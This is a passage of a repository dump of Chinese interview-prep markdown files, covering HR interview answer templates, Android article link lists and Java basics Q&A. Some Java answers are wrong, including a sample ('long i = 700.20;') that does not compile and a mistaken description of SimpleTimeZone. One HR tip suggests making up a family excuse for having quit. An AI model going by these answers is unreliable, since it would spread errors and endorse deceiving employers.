原则上我会尊重和服从领导的工作安排；同时私底下找机会以请教的口吻，婉转地表达自己的想法，看看领导是否能改变想法；\n- 如果领导没有采纳我的建议，我也同样会按领导的要求认真地去完成这项工作；\n- 还有一种情况，假如领导要求的方式违背原则，我会坚决提出反对意见；如领导仍固执己见，我会毫不犹豫地再向上级领导反映。\n\n### 45. 与上级意见不一是，你将怎么办？\n\n回答提示：\n\n- 一般可以这样回答“我会给上级以必要的解释和提醒，在这种情况下，我会服从上级的意见。”\n- 如果面试你的是总经理，而你所应聘的职位另有一位经理，且这位经理当时不在场，可以这样回答：“对于非原则性问题，我会服从上级的意见，对于涉及公司利益的重大问题，我希望能向更高层领导反映。”\n\n分析：这个问题的标准答案是思路1，如果用2的回答，必死无疑。你没有摸清楚改公司的内部情况，先想打小报告，这样的人没有人敢要。\n\n### 46. 你工作经验欠缺，如何能胜任这项工作？\n\n常规思路：\n\n- 如果招聘单位对应届毕业生的应聘者提出这个问题，说明招聘公司并不真正在乎“经验”，关键看应聘者怎样回答；\n- 对这个问题的回答最好要体现出应聘者的诚恳、机智、果敢及敬业；\n- 如“作为应届毕业生，在工作经验方面的确会有所欠缺，因此在读书期间我一直利用各种机会在这个行业里做兼职。我也发现，实际工作远比书本知识丰富、复杂。但我有较强的责任心、适应能力和学习能力，而且比较勤奋，所以在兼职中均能圆满完成各项工作，从中获取的经验也令我受益非浅。请贵公司放心，学校所学及兼职的工作经验使我一定能胜任这个职位。” 点评：这个问题思路中的答案尚可。突出自己的吃苦能力和适应性以及学习能力（不是学习成绩）为好。\n\n### 47. 您在前一家公司的离职原因是什么？\n\n回答提示：\n\n- 最重要的是：应聘者要使找招聘单位相信，应聘者在过往的单位的“离职原因”在此家招聘单位里不存在\n\n- 避免把“离职原因”说得太详细、太具体\n\n- 不能掺杂主观的负面感受，如“太辛苦”、“人际关系复杂”、“管理太混乱”、“公司不重视人才”、“公司排斥我们某某的员工”等\n\n- 但也不能躲闪、回避，如“想换换环境”、“个人原因”等\n\n- 不能涉及自己负面的人格特征，如不诚实、懒惰、缺乏责任感、不随和等\n\n- 尽量使解释的理由为应聘者个人形象添彩；⑦相关例子：如“我离职是因为这家公司倒闭；我在公司工作了三年多，有较深的感情；从去年始，由于市场形势突变，公司的局面急转直下；到眼下这一步我觉得很遗憾，但还要面对显示，重新寻找能发挥我能力的舞台。”同一个面试问题并非只有一个答案，而同一个答案并不是在任何面试场合都有效，关键在应聘者掌握了规律后，对面试的具体情况进行把握，有意识地揣摩面试官提出问题的心理背景，然后投其所好\n\n分析：除非是薪资太低，或者是最初的工作，否则不要用薪资作为理由。“求发展”也被考官听得太多，离职理由要根据每个人的真实离职理由来设计，但是在回答时一定要表现得真诚。实在想不出来的时候，家在外地可以说是因为家中有事，须请假几个月，公司又不可能准假，所以辞职。这个答案一般面试官还能接受。\n\n### 48. 你工作经验欠缺，如何能胜任这项工作？\n\n回答提示：\n\n- 如果招聘单位对应届毕业生的应聘者提出这个问题，说明招聘公司并不真正在乎“经验”，关键看应聘者怎样回答；\n- 对这个问题的回答最好要体现出应聘者的诚恳、机智、果敢及敬业；\n- 如“作为应届毕业生，在工作经验方面的确会有所欠缺，因此在读书期间我一直利用各种机会在这个行业里做兼职。我也发现，实际工作远比书本知识丰富、复杂。但我有较强的责任心、适应能力和学习能力，而且比较勤奋，所以在兼职中均能圆满完成各项工作，从中获取的经验也令我受益非浅。请贵公司放心，学校所学及兼职的工作经验使我一定能胜任这个职位。”\n\n分析：这个问题思路中的答案尚可。突出自己的吃苦能力和适应性以及学习能力（不是学习成绩）为好。\n\n### 49. 为了做好你工作份外之事，你该怎样获得他人的支持和帮助？\n\n回答提示：每个公司都在不断变化发展的过程中；你当然希望你的员工也是这样。你希望得到那些希望并欢迎变化的人，因为这些人明白，为了公司的发展，变化是公司日常生活中重要组成部分。这样的员工往往很容易适应公司的变化，并会对变化做出积极的响应。此外，他们遇到矛盾和问题时，也能泰然处之。下面的问题能够考核应聘者这方面的能力。\n据说有人能从容避免正面冲突。请讲一下你在这方面的经验和技巧。\n\n有些时候，我们得和我们不喜欢的人在一起共事。说说你曾经克服了性格方面的冲突而取得预期工作效果的经历。\n\n### 50. 如果你在这次面试中没有被录用，你怎么打算？\n\n回答提示：现在的社会是一个竞争的社会,从这次面试中也可看出这一点,有竞争就必然有优劣,有成功必定就会有失败.往往成功的背后有许多的困难和挫折,如果这次失败了也仅仅是一次而已,只有经过经验经历的积累才能塑造出一个完全的成功者。我会从以下几个方面来正确看待这次失败.\n\n第一、要敢于面对,面对这次失败不气馁,接受已经失去了这次机会就不会回头这个现实,从心理意志和精神上体现出对这次失败的抵抗力。要有自信,相信自己经历了这次之后经过努力一定能行.能够超越自我.\n\n第二、善于反思,对于这次面试经验要认真总结,思考剖析,能够从自身的角度找差距。正确对待自己,实事求是地评价自己,辩证的看待自己的长短得失,做一个明白人.\n\n第三、走出阴影,要克服这一次失败带给自己的心理压力,时刻牢记自己弱点,防患于未然,加强学习,提高自身素质.\n第四、认真工作,回到原单位岗位上后,要实实在在、踏踏实实地工作,三十六行,行行出状元,争取在本岗位上做出一定的成绩.\n第五、再接再厉,成为国家公务员一直是我的梦想,以后如果有机会我仍然后再次参加竞争.\n\n### 51. 假如你晚上要去送一个出国的同学去机场，可单位临时有事非你办不可，你怎么办？\n\n回答提示：我觉得工作是第一位的，但朋友间的情谊也是不能偏废的。这个问题我觉得要按照当时具体的情况来决定。\n\n- 如果我的朋友晚上9点中的飞机，而我的 加班八点就能够完成的话，那就最理想了，干完工作去机场，皆大欢喜。\n- 如果说工作不是很紧急，加班仅仅是为了明天上班的时候能把报告交到办公室，那完全可以跟领导打声招呼，先去机场然后回来加班，晚点睡就是了。\n- 如果工作很紧急，两者不可能兼顾的情况下，我觉得可以由两种选择。\n  - 如果不是全单位都加班的话，是不是可以要其他同事来代替以下工作，自己去机场，哪怕就是代替你离开的那一会儿。\n  - 如果连这一点都做不到的话，那只好忠义不能两全了，打电话给朋友解释一下，小心他会理解，毕竟工作做完了就完了，朋友还是可以再见面的。\n\n### 52. 如果通过这次面试我们单位录用了你，但工作一段时间却发现你根本不适合这个职位，你怎么办？\n\n回答提示：一段时间发现工作不适合我，有两种情况：\n\n1、如果你确实热爱这个职业，那你就要不断学习，虚心向领导和同事学习业务知识和处事经验，了解这个职业的精神内涵和职业要求，力争减少差距；\n\n2、你觉得这个职业可有可无，那还是趁早换个职业，去发现适合你的，你热爱的职业，那样你的发展前途也会大点，对单位和个人都有好处。\n\n### 53. 你做过的哪件事最令自己感到骄傲?\n\n回答提示：这是考官给你的一个机会，让你展示自己把握命运的能力。这会体现你潜在的领导能力以及你被提升的可能性。假如你应聘于一个服务性质的单位，你很可能会被邀请去午餐。记住：你的前途取决于你的知识、你的社交能力和综合表现。\n\n### 54. 谈谈你过去做过的成功案例\n\n回答提示：举一个你最有把握的例子，把来龙去脉说清楚，而不要说了很多却没有重点。切忌夸大其词，把别人的功劳到说成自己的，很多主管为了确保要用的人是最适合的，会打电话向你的前一个主管征询对你的看法及意见，所以如果说谎，是很容易穿梆的。\n\n### 55. 谈谈你过去的工作经验中，最令你挫折的事情\n\n回答提示：曾经接触过一个客户，原本就有耳闻他们以挑剔出名，所以事前的准备功夫做得十分充分，也投入了相当多的时间与精力，最后客户虽然并没有照单全收，但是接受的程度已经出乎我们意料之外了。原以为从此可以合作愉快，却得知客户最后因为预算关系选择了另一家代理商，之前的努力因而付诸流水。尽管如此，我还是从这次的经验学到很多，如对该产业的了解，整个team的默契也更好了。\n\n分析：借此了解你对挫折的容忍度及调解方式。\n\n### 56. 如何安排自己的时间？会不会排斥加班？\n\n回答提示：基本上，如果上班工作有效率，工作量合理的话，应该不太需要加班。可是我也知道有时候很难避免加班，加上现在工作都采用责任制，所以我会调配自己的时间，全力配合。\n\n分析：虽然不会有人心甘情愿的加班，但依旧要表现出高配合度的诚意。\n\n### 57. 为什么我们要在众多的面试者中选择你？\n\n回答提示：根据我对贵公司的了解，以及我在这份工作上所累积的专业、经验及人脉，相信正是贵公司所找寻的人才。而我在工作态度、EQ上，也有圆融、成熟的一面，和主管、同事都能合作愉快。\n\n分析：别过度吹嘘自己的能力，或信口开河地乱开支票，例如一定会为该公司带来多少钱的业务等，这样很容易给人一种爱说大话、不切实际的感觉。\n\n### 58. 对这个职务的期许？\n\n回答提示：希望能借此发挥我的所学及专长，同时也吸收贵公司在这方面的经验，就公司、我个人而言，缔造“双赢”的局面。\n\n分析：回答前不妨先询问该公司对这项职务的责任认定及归属，因为每一家公司的状况不尽相同。以免说了一堆理想抱负却发现牛头不对马嘴。\n\n### 59. 为什么选择这个职务？\n\n回答提示：：这一直是我的兴趣和专长，经过这几年的磨练，也累积了一定的经验及人脉，相信我一定能胜任这个职务的。\n分析：适时举出过去的“丰功伟业”，表现出你对这份职务的熟稔度，但避免过于夸张的形容或流于炫耀。\n\n### 60. 为什么选择我们这家公司？\n\n回答提示：曾经在报章杂志看过关于贵公司的报道，与自己所追求的理念有志一同。而贵公司在业界的成绩也是有目共睹的，而且对员工的教育训练、升迁等也都很有制度。\n\n分析：去面试前先做功课，了解一下该公司的背景，让对方觉得你真的很有心想得到这份工作，而不只是探探路。\n\n### 61. 你认为你在学校属于好学生吗？\n\n回答提示：企业的招聘者很精明，问这个问题可以试探出很多问题：如果求职者学习成绩好，就会说：“是的，我的成绩很好，所有的成绩都很优异。当然，判断一个学生是不是好学生有很多标准，在学校期间我认为成绩是重要的，其他方面包括思想道德、实践经验、团队精神、沟通能力也都是很重要的，我在这些方面也做得很好，应该说我是一个全面发展的学生。”如果求职者成绩不尽理想，便会说：“我认为是不是一个好学生的标准是多元化的，我的学习成绩还可以，在其他方面我的表现也很突出，比如我去很多地方实习过，我很喜欢在快节奏和压力下工作，我在学生会组织过 ××活动，锻炼了我的团队合作精神和组织能力。” 有经验的招聘者一听就会明白，企业喜欢诚实的求职者。\n\n### 62. 请谈谈如何适应办公室工作的新环境？\n\n回答提示\n\n- 办公室里每个人有各自的岗位与职责，不得擅离岗位。\n- 根据领导指示和工作安排，制定工作计划，提前预备，并按计划完成。\n- 多请示并及时汇报，遇到不明白的要虚心请教。\n- 抓间隙时间，多学习，努力提高自己的政治素质和业务水平。\n\n### 63. 在工作中学习到了些什么？\n\n回答提示：这是针对转职者提出的问题，建议此时可以配合面试工作的特点作为主要依据来回答，如业务工作需要与人沟通，便可举出之前工作与人沟通的例子，经历了哪些困难，学习到哪些经验，把握这些要点做陈述，就可以轻易过关了\n\n### 64. 有想过创业吗？\n\n回答提示：这个问题可以显示你的冲劲，但如果你的回答是“有”的话，千万小心，下一个问题可能就是“那么为什么你不这样做呢？”\n\n### 65. 最能概括你自己的三个词是什么？\n\n回答提示：我经常用的三个词是：适应能力强，有责任心和做事有始终，结合具体例子向主考官解释，使他们觉得你具有发展潜力\n\n### 66. 你认为你在学校属于好学生吗？\n\n回答提示：企业的招聘者很精明，问这个问题可以试探出很多问题：如果求职者学习成绩好，就会说：“是的，我的成绩很好，所有的成绩都很优异。当然，判断一个学生是不是好学生有很多标准，在学校期间我认为成绩是重要的，其他方面包括思想道德、实践经验、团队精神、沟通能力也都是很重要的，我在这些方面也做得很好，应该说我是一个全面发展的学生。”如果求职者成绩不尽理想，便会说：“我认为是不是一个好学生的标准是多元化的，我的学习成绩还可以，在其他方面我的表现也很突出，比如我去很多地方实习过，我很喜欢在快节奏和压力下工作，我在学生会组织过 ××活动，锻炼了我的团队合作精神和组织能力。” 有经验的招聘者一听就会明白，企业喜欢诚实的求职者。\n\n### 67. 除了本公司外，还应聘了哪些公司？\n\n回答提示：很奇怪，这是相当多公司会问的问题，其用意是要概略知道应徵者的求职志向，所以这并非绝对是负面答案，就算不便说出公司名称，也应回答“销售同种产品的公司”，如果应聘的其他公司是不同业界，容易让人产生无法信任的感觉。\n\n### 68. 何时可以到职？\n\n回答提示：大多数企业会关心就职时间，最好是回答\\’如果被录用的话，到职日可按公司规定上班”，但如果还未辞去上一个工作、上班时间又太近，似乎有些强人所难，因为交接至少要一个月的时间，应进一步说明原因，录取公司应该会通融的\n\n### 69. 你并非毕业于名牌院校？\n\n回答提示：是否毕业于名牌院校不重要，重要的是有能力完成您交给我的工作,我有什么什么项目经验,如何帮助项目经理解决了问题,不拉不拉。\n\n### 70. 你怎样看待学历和能力？\n\n回答提示：学历我想只要是大学专科的学历，就表明觉得我具备了根本的学习能力。剩下的，你是学士也好，还是博士也好，对于这一点的讨论，不是看你学了多少知识，而是看你在这个领域上发挥了什么，也就是所说的能力问题。一个人工作能力的高低直接决定其职场命运，而学历的高低只是进入一个企业的敲门砖，如果贵公司把学历卡在博士上，我就无法进入贵公司，当然这不一定只是我个人的损失，如果一个专科生都能完成的工作，您又何必非要招聘一位博士生呢？\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n- 微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n> 原文链接：马伟奇，http://www.jianshu.com/p/d61b553ff8c9"
  },
  {
    "path": "docs/android/Android-Interview/HR/人事面试宝典一之自我介绍.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n可别小瞧人事面试时的各个介绍环节\n\n#### 1. 请你自我介绍一下你自己？\n\n回答提示：一般人回答这个问题过于平常，只说姓名、年龄、爱好、工作经验，这些在简历上都有，其实，企业最希望知道的是求职者能否胜任工作，包括：最强的技能、最深入研究的知识领域、个性中最积极的部分、做过的最成功的事，主要的成就等，这些都可以和学习无关，也可以和学习有关，但要突出积极的个性和做事的能力，说得合情合理企业才会相信。企业很重视一个人的礼貌，求职者要尊重考官，在回答每个问题之后都说一句“谢谢”。企业喜欢有礼貌的求职者。\n\n#### 2. 你觉得你个性上最大的优点是什么？\n\n回答提示：沉着冷静、条理清楚、立场坚定、顽强向上。\n乐于助人和关心他人、适应能力和幽默感、乐观和友爱。\n\n#### 3. 说说你最大的缺点？\n\n回答提示：这个问题企业问的概率很大，通常不希望听到直接回答的缺点是什么等，如果求职者说自己小心眼、爱忌妒人、非常懒、脾气大、工作效率低，企业肯定不会录用你。绝对不要自作聪明地回答“我最大的缺点是过于追求完美”，有的人以为这样回答会显得自己比较出色，但事实上，他已经岌芨可危了。企业喜欢求职者从自己的优点说起，中间加一些小缺点，最后再把问题转回到优点上，突出优点的部分。企业喜欢聪明的求职者。\n\n#### 4. 你对加班的看法？\n\n回答提示：实际上好多公司问这个问题，并不证明一定要加班。 只是想测试你是否愿意为公司奉献。\n回答样本：如果是工作需要我会义不容辞加班。我现在单身，没有任何家庭负担，可以全身心的投入工作。但同时，我也会提高工作效率，减少不必要的加班\n\n#### 5. 你对薪资的要求？\n\n回 答提示：如果你对薪酬的要求太低，那显然贬低自己的能力；如果你对薪酬的要求太高，那又会显得你分量过重，公司受用不起。一些雇主通常都事先对求聘的职位定下开支预算，因而他们第一次提出的价钱往往是他们所能给予的最高价钱。他们问你只不过想证实一下这笔钱是否足以引起你对该工作的兴趣 。\n\n回答样本一：“我对工资没有硬性要求。我相信贵公司在处理我的问题上会友善合理。我注重的是找对工作机会，所以只要条件公平，我则不会计较太多\n\n回答样本二：我受过系统的软件编程的训练，不需要进行大量的培训。而且我本人也对编程特别感兴趣。因此，我希望公司能根据我的情况和市场标准的水平，给我合理的薪水。\n\n回答样本三：如果你必须自己说出具体数目，请不要说一个宽泛的范围，那样你将只能得到最低限度的数字。最好给出一个具体的数字，这样表明你已经对当今的人才市场作了调查，知道像自己这样学历的雇员有什么样的价值。\n\n#### 6. 除了本公司外，还应聘了哪些公司？\n\n回答提示：很奇怪，这是相当多公司会问的问题，其用意是要概略知道应徵者的求职志向，所以这并非绝对是负面答案，就算不便说出公司名称，也应回答“销售同种产品的公司”，如果应聘的其他公司是不同业界，容易让人产生无法信任的感觉。\n\n#### 7. 你还有什么问题要问吗？\n\n回答提示：企业的这个问题看上去可有可无，其实很关键，企业不喜欢说“没有问题”的人，因为其很注重员工的个性和创新能力。企业不喜欢求职者问个人福利之类的问题，如果有人这样问：贵公司对新入公司的员工有没有什么培训项目，我可以参加吗？或者说贵公司的晋升机制是什么样的？企业将很欢迎，因为体现出你对学习的热情和对公司的忠诚度以及你的上进心。\n\n> 总结一点：把命卖给公司，最后祝大家五一节快乐。\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n\n微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/HR/人事面试宝典二之离职.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n#### 为什么要离职?\n\n回答提示：\n\n①回答这个问题时一定要小心，就算在前一个工作受到再大的委屈，对公司有多少的怨言，都千万不要表现出来，尤其要避免对公司本身主管的批评，避免面试官的负面情绪及印象；建议此时最好的回答方式是将问题归咎在自己身上，例如觉得工作没有学习发展的空间，自己想在面试工作的相关产业中多加学习，或是前一份工作与自己的生涯规划不合等等，回答的答案最好是积极正面的。\n\n②我希望能获得一份更好的工作，如果机会来临，我会抓住；我觉得目前的工作，已经达到顶峰，即沒有升迁机会。\n\n#### 您在前一家公司的离职原因是什么？\n\n回答提示：\n\n①最重要的是：应聘者要使找招聘单位相信，应聘者在过往的单位的“离职原因”在此家招聘单位里不存在；\n\n②避免把“离职原因”说得太详细、太具体；\n\n③不能掺杂主观的负面感受，如“太辛苦”、“人际关系复杂”、“管理太混乱”、“公司不重视人才”、“公司排斥我们某某的员工”等；\n\n④但也不能躲闪、回避，如“想换换环境”、“个人原因”等；\n\n⑤不能涉及自己负面的人格特征，如不诚实、懒惰、缺乏责任感、不随和等；\n\n⑥尽量使解释的理由为应聘者个人形象添彩；\n\n⑦相关例子：如“我离职是因为这家公司倒闭；我在公司工作了三年多，有较深的感情；从去年始，由于市场形势突变，公司的局面急转直下；到眼下这一步我觉得很遗憾，但还要面对显示，重新寻找能发挥我能力的舞台。”同一个面试问题并非只有一个答案，而同一个答案并不是在任何面试场合都有效，关键在应聘者掌握了规律后，对面试的具体情况进行把握，有意识地揣摩面试官提出问题的心理背景，然后投其所好。\n\n分析：除非是薪资太低，或者是最初的工作，否则不要用薪资作为理由。“求发展”也被考官听得太多，离职理由要根据每个人的真实离职理由来设计，但是在回答时一定要表现得真诚。实在想不出来的时候，家在外地可以说是因为家中有事，须请假几个月，公司又不可能准假，所以辞职。这个答案一般面试官还能接受。\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n\n微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/Java/115个Java面试题及回答.md",
    "content": "## 115个Java面试题及回答\n\n简介 在本教程中,我们将讨论在Java面试中,用人单位用来测试应聘者Java以及面向对象的能力的面试题目.以下章节我们将按照以下结构讨论面试问题，面向对象编程及其特性，Java及其特性的一般问题,集合,垃圾回收，异常处理,Java applets,Swing,JDBC,RMI, Servlet 和 JSP. 来，我们一起出发吧。\n\n[115个Java面试题及回答](https://github.com/snowdream/115-Java-Interview-Questions-and-Answers/tree/master/zh)"
  },
  {
    "path": "docs/android/Android-Interview/Java/66道经典的Java基础面试题集锦.md",
    "content": "### 问题：如果main方法被声明为private会怎样？\n\n答案：能正常编译，但运行的时候会提示”main方法不是public的”。\n\n### 问题：Java里的传引用和传值的区别是什么？\n\n答案：传引用是指传递的是地址而不是值本身，传值则是传递值的一份拷贝。\n\n### 问题：如果要重写一个对象的equals方法，还要考虑什么？\n\n答案：hashCode。\n\n### 问题：Java的”一次编写，处处运行”是如何实现的？\n\n答案：Java程序会被编译成字节码组成的class文件，这些字节码可以运行在任何平台，因此Java是平台独立的。\n\n### 问题：说明一下public static void main(String args[])这段声明里每个关键字的作用\n\n答案：public: main方法是Java程序运行时调用的第一个方法，因此它必须对Java环境可见。所以可见性设置为pulic.\n\nstatic: Java平台调用这个方法时不会创建这个类的一个实例，因此这个方法必须声明为static。\n\nvoid: main方法没有返回值。\n\nString是命令行传进参数的类型，args是指命令行传进的字符串数组。\n\n### 问题：==与equals的区别\n\n答案：==比较两个对象在内存里是不是同一个对象，就是说在内存里的存储位置一致。两个String对象存储的值是一样的，但有可能在内存里存储在不同的地方 .\n\n==比较的是引用而equals方法比较的是内容。public boolean equals(Object obj) 这个方法是由Object对象提供的，可以由子类进行重写。默认的实现只有当对象和自身进行比较时才会返回true,这个时候和==是等价的。String, BitSet, Date, 和File都对equals方法进行了重写，对两个String对象 而言，值相等意味着它们包含同样的字符序列。对于基本类型的包装类来说，值相等意味着对应的基本类型的值一样。\n\n```\npublic class EqualsTest {\n               public static void main(String[] args) {\n                               String s1 = “abc”;\n                               String s2 = s1;\n                               String s5 = “abc”;\n                               String s3 = new String(”abc”);\n                               String s4 = new String(”abc”);\n                               System.out.println(”== comparison : ” + (s1 == s5));\n                               System.out.println(”== comparison : ” + (s1 == s2));\n                               System.out.println(”Using equals method : ” + s1.equals(s2));\n                               System.out.println(”== comparison : ” + s3 == s4);\n                               System.out.println(”Using equals method : ” + s3.equals(s4));\n               }\n}\n```\n\n结果：\n\n```\n== comparison : true\n== comparison : true\nUsing equals method : true\nfalse\nUsing equals method :true\n```\n\n### 问题：如果去掉了main方法的static修饰符会怎样？\n\n答案：程序能正常编译。运行时会抛NoSuchMethodError异常。\n\n### 问题：为什么oracle type4驱动被称作瘦驱动？\n\n答案：oracle提供了一个type 4 JDBC驱动，被称为瘦驱动。这个驱动包含了一个oracle自己完全用Java实现的一个TCP/IP的Net8的实现，因此它是平台独立的，可以在运行时由浏览器下载，不依赖任何客户端 的oracle实现。客户端连接字符串用的是TCP/IP的地址端口，而不是数据库名的tnsname。\n\n### 问题：介绍一下finalize方法\n\n答案： final: 常量声明。 finally: 处理异常。 finalize: 帮助进行垃圾回收。\n\n接口里声明的变量默认是final的。final类无法继承，也就是没有子类。这么做是出于基础类型的安全考虑，比如String和Integer。这样也使得编译器进行一些优化，更容易保证线程的安全性。final方法无法重写。final变量的值不能改变。finalize()方法在一个对象被销毁和回收前会被调用。finally,通常用于异常处理，不管有没有异常被抛出都会执行到。比如，关闭连接通常放到finally块中完成。\n\n### 问题：什么是Java API？\n\n答案：Java API是大量软件组件的集合，它们提供了大量有用的功能，比如GUI组件。\n\n### 问题：GregorianCalendar类是什么东西？\n\n答案：GregorianCalendar提供了西方传统日历的支持。\n\n### 问题：ResourceBundle类是什么?\n\n答案：ResourceBundle用来存储指定语言环境的资源，应用程序可以根据运行时的语言环境来加载这些资源，从而提供不同语言的展示。\n\n### 问题：为什么Java里没有全局变量?\n\n答案：全局变量是全局可见的，Java不支持全局可见的变量，因为：全局变量破坏了引用透明性原则。全局变量导致了命名空间的冲突。\n\n### 问题：如何将String类型转化成Number类型？\n\n答案：Integer类的valueOf方法可以将String转成Number。下面是代码示例：\n\n```\nString numString = “1000″;\nint id=Integer.valueOf(numString).intValue();\n```\n\n### 问题：SimpleTimeZone类是什么?\n\n答案：SimpleTimeZone提供公历日期支持。\n\n### 问题：while循环和do循环有什么不同？\n\n答案：while结构在循环的开始判断下一个迭代是否应该继续。do/while结构在循环的结尾来判断是否将继续下一轮迭代。do结构至少会执行一次循环体。\n\n### 问题：Locale类是什么？\n\n答案：Locale类用来根据语言环境来动态调整程序的输出。\n\n### 问题：面向对象编程的原则是什么?\n\n答案：主要有三点，多态，继承和封装。\n\n### 问题：介绍下继承的原则\n\n答案：继承使得一个对象可以获取另一个对象的属性。使用继承可以让已经测试完备的功能得以复用，并且可以一次修改，所有继承的地方都同时生效。\n\n### 问题：什么是隐式的类型转化?\n\n答案：隐式的类型转化就是简单的一个类型赋值给另一个类型，没有显式的告诉编译器发生了转化。并不是所有的类型都支持隐式的类型转化。\n\n代码示例：\n\n```\nint i = 1000;\nlong j = i; //Implicit casting\n```\n\n### 问题：sizeof是Java的关键字吗?\n\n答案：不是。\n\n### 问题：native方法是什么?\n\n答案：native方法是非Java代码实现的方法。\n\n### 问题：在System.out.println()里面,System, out, println分别是什么?\n\n答案：System是系统提供的预定义的final类，out是一个PrintStream对象，println是out对象里面一个重载的方法。\n\n### 问题：封装，继承和多态是什么？\n\n答案：简单来说，多态是指一个名字多种实现。多态使得一个实体通过一个通用的方式来实现不同的操作。具体的操作是由实际的实现来决定的。\n\n多态在Java里有三种表现方式：方法重载通过继承实现方法重写通过Java接口进行方法重写。\n\n### 问题：显式的类型转化是什么?\n\n答案：显式的类型转化是明确告诉了编译器来进行对象的转化。\n\n代码示例：\n\n```\nlong i = 700.20;\nint j = (int) i; //Explicit casting\n```\n\n### 问题：什么是Java虚拟机?\n\n答案：Java虚拟机是能移植到不同硬件平台上的软件系统。\n\n### 问题：类型向下转换是什么?\n\n答案：向下转换是指由一个通用类型转换成一个具体的类型，在继承结构上向下进行。\n\n### 问题：Java的访问修饰符是什么?\n\n答案：访问权限修饰符是表明类成员的访问权限类型的关键字。使用这些关键字来限定程序的方法或者变量的访问权限。它们包含：\n\npublic: 所有类都可以访问 protected: 同一个包内以及所有子类都可以访问 private: 只有归属的类才能访问默认: 归属类及相同包下的子类可以访问\n\n### 问题：所有类的父类是什么？\n\n答案：Object.\n\n### 问题：Java的基本类型有哪些?\n\n答案：byte,char, short, int, long, float, double, boolean。\n\n### 